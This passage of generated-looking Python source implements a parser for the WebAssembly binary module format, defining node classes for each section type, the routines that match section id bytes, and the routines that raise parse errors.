custom1 self.type_section = type_section self.custom2 = custom2 self.import_section = import_section self.custom3 = custom3 self.function_section = function_section self.custom4 = custom4 self.table_section = table_section self.custom5 = custom5 self.memory_section = memory_section self.custom6 = custom6 self.global_section = global_section self.custom7 = custom7 self.export_section = export_section self.custom8 = custom8 self.start_section = start_section self.custom9 = custom9 self.element_section = element_section self.custom10 = custom10 self.data_count_section = data_count_section self.custom11 = custom11 self.code_section = code_section self.custom12 = custom12 self.data_section = data_section self.custom13 = custom13 def __repr__(self): return f'Module(custom1={self.custom1!r}, type_section={self.type_section!r}, custom2={self.custom2!r}, import_section={self.import_section!r}, custom3={self.custom3!r}, function_section={self.function_section!r}, custom4={self.custom4!r}, table_section={self.table_section!r}, custom5={self.custom5!r}, memory_section={self.memory_section!r}, custom6={self.custom6!r}, global_section={self.global_section!r}, custom7={self.custom7!r}, export_section={self.export_section!r}, custom8={self.custom8!r}, start_section={self.start_section!r}, custom9={self.custom9!r}, element_section={self.element_section!r}, custom10={self.custom10!r}, data_count_section={self.data_count_section!r}, custom11={self.custom11!r}, code_section={self.code_section!r}, custom12={self.custom12!r}, data_section={self.data_section!r}, custom13={self.custom13!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_Module, fullparse) def _try_Module(_text, _pos): # Begin Seq start_pos1 = _pos while True: # Begin Str value1 = b'\x00asm' end1 = (_pos + 4) if (_text[slice(_pos, end1, None)] == value1): _result = value1 _pos = end1 _status = True else: _result = _raise_error4 _status = False # End Str if not (_status): break magic = _result # Begin Str value2 = b'\x01\x00\x00\x00' end2 = (_pos + 4) if (_text[slice(_pos, end2, None)] == value2): _result = value2 _pos = end2 _status = True else: _result = _raise_error6 _status = False # End Str if not (_status): break version = _result # Begin List # CustomSection* staging1 = [] while True: checkpoint1 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint1 break staging1.append(_result) _result = staging1 _status = True # End List custom1 = _result # Begin Opt # Opt(TypeSection) backtrack1 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_TypeSection, _pos)) # End Ref if not (_status): _pos = backtrack1 _result = None _status = True # End Opt type_section = _result # Begin List # CustomSection* staging2 = [] while True: checkpoint2 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint2 break staging2.append(_result) _result = staging2 _status = True # End List custom2 = _result # Begin Opt # Opt(ImportSection) backtrack2 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_ImportSection, _pos)) # End Ref if not (_status): _pos = backtrack2 _result = None _status = True # End Opt import_section = _result # Begin List # CustomSection* staging3 = [] while True: checkpoint3 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint3 break staging3.append(_result) _result = staging3 _status = True # End List custom3 = _result # Begin Opt # Opt(FunctionSection) backtrack3 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_FunctionSection, _pos)) # End Ref if not (_status): _pos = backtrack3 _result = None _status = True # End Opt function_section = _result # Begin List # CustomSection* staging4 = [] while True: checkpoint4 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint4 break staging4.append(_result) _result = staging4 _status = True # End List custom4 = _result # Begin Opt # Opt(TableSection) backtrack4 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_TableSection, _pos)) # End Ref if not (_status): _pos = backtrack4 _result = None _status = True # End Opt table_section = _result # Begin List # CustomSection* staging5 = [] while True: checkpoint5 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint5 break staging5.append(_result) _result = staging5 _status = True # End List custom5 = _result # Begin Opt # Opt(MemorySection) backtrack5 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_MemorySection, _pos)) # End Ref if not (_status): _pos = backtrack5 _result = None _status = True # End Opt memory_section = _result # Begin List # CustomSection* staging6 = [] while True: checkpoint6 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint6 break staging6.append(_result) _result = staging6 _status = True # End List custom6 = _result # Begin Opt # Opt(GlobalSection) backtrack6 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_GlobalSection, _pos)) # End Ref if not (_status): _pos = backtrack6 _result = None _status = True # End Opt global_section = _result # Begin List # CustomSection* staging7 = [] while True: checkpoint7 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint7 break staging7.append(_result) _result = staging7 _status = True # End List custom7 = _result # Begin Opt # Opt(ExportSection) backtrack7 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_ExportSection, _pos)) # End Ref if not (_status): _pos = backtrack7 _result = None _status = True # End Opt export_section = _result # Begin List # CustomSection* staging8 = [] while True: checkpoint8 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint8 break staging8.append(_result) _result = staging8 _status = True # End List custom8 = _result # Begin Opt # Opt(StartSection) backtrack8 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_StartSection, _pos)) # End Ref if not (_status): _pos = backtrack8 _result = None _status = True # End Opt start_section = _result # Begin List # CustomSection* staging9 = [] while True: checkpoint9 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint9 break staging9.append(_result) _result = staging9 _status = True # End List custom9 = _result # Begin Opt # Opt(ElementSection) backtrack9 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_ElementSection, _pos)) # End Ref if not (_status): _pos = backtrack9 _result = None _status = True # End Opt element_section = _result # Begin List # CustomSection* staging10 = [] while True: checkpoint10 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint10 break staging10.append(_result) _result = staging10 _status = True # End List custom10 = _result # Begin Opt # Opt(DataCountSection) backtrack10 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_DataCountSection, _pos)) # End Ref if not (_status): _pos = backtrack10 _result = None _status = True # End Opt data_count_section = _result # Begin List # CustomSection* staging11 = [] while True: checkpoint11 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint11 break staging11.append(_result) _result = staging11 _status = True # End List custom11 = _result # Begin Opt # Opt(CodeSection) backtrack11 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CodeSection, _pos)) # End Ref if not (_status): _pos = backtrack11 _result = None _status = True # End Opt code_section = _result # Begin List # CustomSection* staging12 = [] while True: checkpoint12 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint12 break staging12.append(_result) _result = staging12 _status = True # End List custom12 = _result # Begin Opt # Opt(DataSection) backtrack12 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_DataSection, _pos)) # End Ref if not (_status): _pos = backtrack12 _result = None _status = True # End Opt data_section = _result # Begin List # CustomSection* staging13 = [] while True: checkpoint13 = _pos # Begin Ref (_status, _result, _pos) = (yield (3, _try_CustomSection, _pos)) # End Ref if not (_status): _pos = checkpoint13 break staging13.append(_result) _result = staging13 _status = True # End List custom13 = _result _result = Module(custom1, type_section, custom2, import_section, custom3, function_section, custom4, table_section, custom5, memory_section, custom6, global_section, custom7, export_section, custom8, start_section, custom9, element_section, custom10, data_count_section, custom11, code_section, custom12, data_section, custom13) _result._metadata.position_info = (start_pos1, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error4(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Module' rule, at the expression:\n" " b'\\x00asm'\n\n" "Expected to match the string b'\\x00asm'" ) raise ParseError((title + details), _pos, line, col) def _raise_error6(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'Module' rule, at the expression:\n" " b'\\x01\\x00\\x00\\x00'\n\n" "Expected to match the string b'\\x01\\x00\\x00\\x00'" ) raise ParseError((title + details), _pos, line, col) class CustomSection(Node): """ class CustomSection { let id: 0x0 let size: u32 let loc: LocatedName let remaining: `size - (loc.end - loc.start)` name: `loc.name` body: ByteString(remaining) } """ _fields = ('name', 'body') id = 0x0 def __init__(self, name, body): Node.__init__(self) self.name = name self.body = body def __repr__(self): return f'CustomSection(name={self.name!r}, body={self.body!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_CustomSection, fullparse) def _try_CustomSection(_text, _pos): # Begin Seq start_pos2 = _pos while True: # Begin Byte # 0x0 if (_pos < len(_text)) and (_text[_pos] == 0): _result = 0 _pos = (_pos + 1) _status = True else: _result = _raise_error85 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_LocatedName, _pos)) # End Ref if not (_status): break loc = _result _result = size - (loc.end - loc.start) _status = True remaining = _result _result = loc.name _status = True name = _result # Begin Call # ByteString(remaining) func1 = _ParseFunction(_try_ByteString, (remaining,), ()) (_status, _result, _pos) = (yield (3, func1, _pos)) # End Call if not (_status): break body = _result _result = CustomSection(name, body) _result._metadata.position_info = (start_pos2, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error85(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'CustomSection' rule, at the expression:\n" ' 0x0\n\n' 'Expected to match the byte value 0x0' ) raise ParseError((title + details), _pos, line, col) class TypeSection(Node): """ class TypeSection { let id: 0x1 let size: u32 function_types: vec(FunctionType) } """ _fields = ('function_types',) id = 0x1 def __init__(self, function_types): Node.__init__(self) self.function_types = function_types def __repr__(self): return f'TypeSection(function_types={self.function_types!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_TypeSection, fullparse) def _try_TypeSection(_text, _pos): # Begin Seq start_pos3 = _pos while True: # Begin Byte # 0x1 if (_pos < len(_text)) and (_text[_pos] == 1): _result = 1 _pos = (_pos + 1) _status = True else: _result = _raise_error101 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(FunctionType) func2 = _ParseFunction(_try_vec, (_try_FunctionType,), ()) (_status, _result, _pos) = (yield (3, func2, _pos)) # End Call if not (_status): break function_types = _result _result = TypeSection(function_types) _result._metadata.position_info = (start_pos3, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error101(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'TypeSection' rule, at the expression:\n" ' 0x1\n\n' 'Expected to match the byte value 0x1' ) raise ParseError((title + details), _pos, line, col) class ImportSection(Node): """ class ImportSection { let id: 0x2 let size: u32 imports: vec(Import) } """ _fields = ('imports',) id = 0x2 def __init__(self, imports): Node.__init__(self) self.imports = imports def __repr__(self): return f'ImportSection(imports={self.imports!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ImportSection, fullparse) def _try_ImportSection(_text, _pos): # Begin Seq start_pos4 = _pos while True: # Begin Byte # 0x2 if (_pos < len(_text)) and (_text[_pos] == 2): _result = 2 _pos = (_pos + 1) _status = True else: _result = _raise_error111 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(Import) func3 = _ParseFunction(_try_vec, (_try_Import,), ()) (_status, _result, _pos) = (yield (3, func3, _pos)) # End Call if not (_status): break imports = _result _result = ImportSection(imports) _result._metadata.position_info = (start_pos4, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error111(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ImportSection' rule, at the expression:\n" ' 0x2\n\n' 'Expected to match the byte value 0x2' ) raise ParseError((title + details), _pos, line, col) class FunctionSection(Node): """ class FunctionSection { let id: 0x3 let size: u32 type_indexes: vec(TypeIndex) } """ _fields = ('type_indexes',) id = 0x3 def __init__(self, type_indexes): Node.__init__(self) self.type_indexes = type_indexes def __repr__(self): return f'FunctionSection(type_indexes={self.type_indexes!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_FunctionSection, fullparse) def _try_FunctionSection(_text, _pos): # Begin Seq start_pos5 = _pos while True: # Begin Byte # 0x3 if (_pos < len(_text)) and (_text[_pos] == 3): _result = 3 _pos = (_pos + 1) _status = True else: _result = _raise_error121 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(TypeIndex) func4 = _ParseFunction(_try_vec, (_try_TypeIndex,), ()) (_status, _result, _pos) = (yield (3, func4, _pos)) # End Call if not (_status): break type_indexes = _result _result = FunctionSection(type_indexes) _result._metadata.position_info = (start_pos5, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error121(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'FunctionSection' rule, at the expression:\n" ' 0x3\n\n' 'Expected to match the byte value 0x3' ) raise ParseError((title + details), _pos, line, col) class TableSection(Node): """ class TableSection { let id: 0x4 let size: u32 table_types: vec(TableType) } """ _fields = ('table_types',) id = 0x4 def __init__(self, table_types): Node.__init__(self) self.table_types = table_types def __repr__(self): return f'TableSection(table_types={self.table_types!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_TableSection, fullparse) def _try_TableSection(_text, _pos): # Begin Seq start_pos6 = _pos while True: # Begin Byte # 0x4 if (_pos < len(_text)) and (_text[_pos] == 4): _result = 4 _pos = (_pos + 1) _status = True else: _result = _raise_error131 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(TableType) func5 = _ParseFunction(_try_vec, (_try_TableType,), ()) (_status, _result, _pos) = (yield (3, func5, _pos)) # End Call if not (_status): break table_types = _result _result = TableSection(table_types) _result._metadata.position_info = (start_pos6, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error131(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'TableSection' rule, at the expression:\n" ' 0x4\n\n' 'Expected to match the byte value 0x4' ) raise ParseError((title + details), _pos, line, col) class MemorySection(Node): """ class MemorySection { let id: 0x5 let size: u32 memory_types: vec(MemoryType) } """ _fields = ('memory_types',) id = 0x5 def __init__(self, memory_types): Node.__init__(self) self.memory_types = memory_types def __repr__(self): return f'MemorySection(memory_types={self.memory_types!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_MemorySection, fullparse) def _try_MemorySection(_text, _pos): # Begin Seq start_pos7 = _pos while True: # Begin Byte # 0x5 if (_pos < len(_text)) and (_text[_pos] == 5): _result = 5 _pos = (_pos + 1) _status = True else: _result = _raise_error141 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(MemoryType) func6 = _ParseFunction(_try_vec, (_try_MemoryType,), ()) (_status, _result, _pos) = (yield (3, func6, _pos)) # End Call if not (_status): break memory_types = _result _result = MemorySection(memory_types) _result._metadata.position_info = (start_pos7, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error141(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'MemorySection' rule, at the expression:\n" ' 0x5\n\n' 'Expected to match the byte value 0x5' ) raise ParseError((title + details), _pos, line, col) class GlobalSection(Node): """ class GlobalSection { let id: 0x6 let size: u32 globals: vec(Global) } """ _fields = ('globals',) id = 0x6 def __init__(self, globals): Node.__init__(self) self.globals = globals def __repr__(self): return f'GlobalSection(globals={self.globals!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_GlobalSection, fullparse) def _try_GlobalSection(_text, _pos): # Begin Seq start_pos8 = _pos while True: # Begin Byte # 0x6 if (_pos < len(_text)) and (_text[_pos] == 6): _result = 6 _pos = (_pos + 1) _status = True else: _result = _raise_error151 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(Global) func7 = _ParseFunction(_try_vec, (_try_Global,), ()) (_status, _result, _pos) = (yield (3, func7, _pos)) # End Call if not (_status): break globals = _result _result = GlobalSection(globals) _result._metadata.position_info = (start_pos8, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error151(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'GlobalSection' rule, at the expression:\n" ' 0x6\n\n' 'Expected to match the byte value 0x6' ) raise ParseError((title + details), _pos, line, col) class ExportSection(Node): """ class ExportSection { let id: 0x7 let size: u32 exports: vec(Export) } """ _fields = ('exports',) id = 0x7 def __init__(self, exports): Node.__init__(self) self.exports = exports def __repr__(self): return f'ExportSection(exports={self.exports!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ExportSection, fullparse) def _try_ExportSection(_text, _pos): # Begin Seq start_pos9 = _pos while True: # Begin Byte # 0x7 if (_pos < len(_text)) and (_text[_pos] == 7): _result = 7 _pos = (_pos + 1) _status = True else: _result = _raise_error161 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(Export) func8 = _ParseFunction(_try_vec, (_try_Export,), ()) (_status, _result, _pos) = (yield (3, func8, _pos)) # End Call if not (_status): break exports = _result _result = ExportSection(exports) _result._metadata.position_info = (start_pos9, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error161(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ExportSection' rule, at the expression:\n" ' 0x7\n\n' 'Expected to match the byte value 0x7' ) raise ParseError((title + details), _pos, line, col) class StartSection(Node): """ class StartSection { let id: 0x8 let size: u32 index: FunctionIndex } """ _fields = ('index',) id = 0x8 def __init__(self, index): Node.__init__(self) self.index = index def __repr__(self): return f'StartSection(index={self.index!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_StartSection, fullparse) def _try_StartSection(_text, _pos): # Begin Seq start_pos10 = _pos while True: # Begin Byte # 0x8 if (_pos < len(_text)) and (_text[_pos] == 8): _result = 8 _pos = (_pos + 1) _status = True else: _result = _raise_error171 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_FunctionIndex, _pos)) # End Ref if not (_status): break index = _result _result = StartSection(index) _result._metadata.position_info = (start_pos10, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error171(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'StartSection' rule, at the expression:\n" ' 0x8\n\n' 'Expected to match the byte value 0x8' ) raise ParseError((title + details), _pos, line, col) class ElementSection(Node): """ class ElementSection { let id: 0x9 let size: u32 segments: vec(ElementSegment) } """ _fields = ('segments',) id = 0x9 def __init__(self, segments): Node.__init__(self) self.segments = segments def __repr__(self): return f'ElementSection(segments={self.segments!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_ElementSection, fullparse) def _try_ElementSection(_text, _pos): # Begin Seq start_pos11 = _pos while True: # Begin Byte # 0x9 if (_pos < len(_text)) and (_text[_pos] == 9): _result = 9 _pos = (_pos + 1) _status = True else: _result = _raise_error179 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(ElementSegment) func9 = _ParseFunction(_try_vec, (_try_ElementSegment,), ()) (_status, _result, _pos) = (yield (3, func9, _pos)) # End Call if not (_status): break segments = _result _result = ElementSection(segments) _result._metadata.position_info = (start_pos11, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error179(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'ElementSection' rule, at the expression:\n" ' 0x9\n\n' 'Expected to match the byte value 0x9' ) raise ParseError((title + details), _pos, line, col) class DataCountSection(Node): """ class DataCountSection { let id: 0xc let size: u32 count: Opt(u32 where `lambda _: size > 0`) } """ _fields = ('count',) id = 0xc def __init__(self, count): Node.__init__(self) self.count = count def __repr__(self): return f'DataCountSection(count={self.count!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_DataCountSection, fullparse) def _try_DataCountSection(_text, _pos): # Begin Seq start_pos12 = _pos while True: # Begin Byte # 0xc if (_pos < len(_text)) and (_text[_pos] == 12): _result = 12 _pos = (_pos + 1) _status = True else: _result = _raise_error189 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Opt # Opt(u32 where `lambda _: size > 0`) backtrack13 = _pos # Begin Where # u32 where `lambda _: size > 0` # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if _status: arg1 = _result _result = lambda _: size > 0 _status = True if _result(arg1): _result = arg1 else: _result = _raise_error194 _status = False # End Where if not (_status): _pos = backtrack13 _result = None _status = True # End Opt count = _result _result = DataCountSection(count) _result._metadata.position_info = (start_pos12, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error189(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DataCountSection' rule, at the expression:\n" ' 0xc\n\n' 'Expected to match the byte value 0xc' ) raise ParseError((title + details), _pos, line, col) def _raise_error194(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DataCountSection' rule, at the expression:\n" ' u32 where `lambda _: size > 0`\n\n' 'Expected to satisfy the predicate: `lambda _: size > 0`' ) raise ParseError((title + details), _pos, line, col) class CodeSection(Node): """ class CodeSection { let id: 0xa let size: u32 entries: vec(CodeEntry) } """ _fields = ('entries',) id = 0xa def __init__(self, entries): Node.__init__(self) self.entries = entries def __repr__(self): return f'CodeSection(entries={self.entries!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_CodeSection, fullparse) def _try_CodeSection(_text, _pos): # Begin Seq start_pos13 = _pos while True: # Begin Byte # 0xa if (_pos < len(_text)) and (_text[_pos] == 10): _result = 10 _pos = (_pos + 1) _status = True else: _result = _raise_error200 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(CodeEntry) func10 = _ParseFunction(_try_vec, (_try_CodeEntry,), ()) (_status, _result, _pos) = (yield (3, func10, _pos)) # End Call if not (_status): break entries = _result _result = CodeSection(entries) _result._metadata.position_info = (start_pos13, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error200(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'CodeSection' rule, at the expression:\n" ' 0xa\n\n' 'Expected to match the byte value 0xa' ) raise ParseError((title + details), _pos, line, col) class DataSection(Node): """ class DataSection { let id: 0xb let size: u32 segments: vec(DefaultDataSegment | PassiveDataSegment | ActiveDataSegment) } """ _fields = ('segments',) id = 0xb def __init__(self, segments): Node.__init__(self) self.segments = segments def __repr__(self): return f'DataSection(segments={self.segments!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_DataSection, fullparse) def _parse_function_216(_text, _pos): # Begin Choice farthest_err1 = _raise_error216 backtrack14 = farthest_pos1 = _pos while True: # Option 1: # Begin Ref (_status, _result, _pos) = (yield (3, _try_DefaultDataSegment, _pos)) # End Ref if _status: break if (farthest_pos1 < _pos): farthest_pos1 = _pos farthest_err1 = _result _pos = backtrack14 # Option 2: # Begin Ref (_status, _result, _pos) = (yield (3, _try_PassiveDataSegment, _pos)) # End Ref if _status: break if (farthest_pos1 < _pos): farthest_pos1 = _pos farthest_err1 = _result _pos = backtrack14 # Option 3: # Begin Ref (_status, _result, _pos) = (yield (3, _try_ActiveDataSegment, _pos)) # End Ref if _status: break if (farthest_pos1 < _pos): farthest_pos1 = _pos farthest_err1 = _result _pos = farthest_pos1 _result = farthest_err1 break # End Choice yield (_status, _result, _pos) def _try_DataSection(_text, _pos): # Begin Seq start_pos14 = _pos while True: # Begin Byte # 0xb if (_pos < len(_text)) and (_text[_pos] == 11): _result = 11 _pos = (_pos + 1) _status = True else: _result = _raise_error210 _status = False # End Byte if not (_status): break id = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_u32, _pos)) # End Ref if not (_status): break size = _result # Begin Call # vec(DefaultDataSegment | PassiveDataSegment | ActiveDataSegment) func11 = _ParseFunction(_try_vec, (_parse_function_216,), ()) (_status, _result, _pos) = (yield (3, func11, _pos)) # End Call if not (_status): break segments = _result _result = DataSection(segments) _result._metadata.position_info = (start_pos14, _pos) break # End Seq yield (_status, _result, _pos) def _raise_error210(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DataSection' rule, at the expression:\n" ' 0xb\n\n' 'Expected to match the byte value 0xb' ) raise ParseError((title + details), _pos, line, col) def _raise_error216(_text, _pos): if (len(_text) <= _pos): title = 'Unexpected end of input.' line = None col = None else: (line, col) = _get_line_and_column(_text, _pos) excerpt = _extract_excerpt(_text, _pos, col) title = f'Error on line {line}, column {col}:\n{excerpt}\n' details = ( "Failed to parse the 'DataSection' rule, at the expression:\n" ' DefaultDataSegment | PassiveDataSegment | ActiveDataSegment\n\n' 'Unexpected input' ) raise ParseError((title + details), _pos, line, col) class Global(Node): """ class Global { type: GlobalType initializer: Expression } """ _fields = ('type', 'initializer') def __init__(self, type, initializer): Node.__init__(self) self.type = type self.initializer = initializer def __repr__(self): return f'Global(type={self.type!r}, initializer={self.initializer!r})' @staticmethod def parse(text, pos=0, fullparse=True): return _run(text, pos, _try_Global, fullparse) def _try_Global(_text, _pos): # Begin Seq start_pos15 = _pos while True: # Begin Ref (_status, _result, _pos) = (yield (3, _try_GlobalType, _pos)) # End Ref if not (_status): break type = _result # Begin Ref (_status, _result, _pos) = (yield (3, _try_Expression, _pos)) # End Ref if not (_status): break initializer = _result _result = Global(type, initializer) _result._metadata.position_info = (start_pos15, _pos) break # End Seq yield (_status, _result, _pos) class Import(Node): """ class Import { module: Name name: Name descriptor: ImportFunc | ImportTable | ImportMemory | ImportGlobal } """ _fields = ('module', 'name', 'descriptor') def __init__(self, module, name, descriptor): Node.__init__(self) self.module = module self.name = name self.descriptor = descriptor def __repr__(self): return 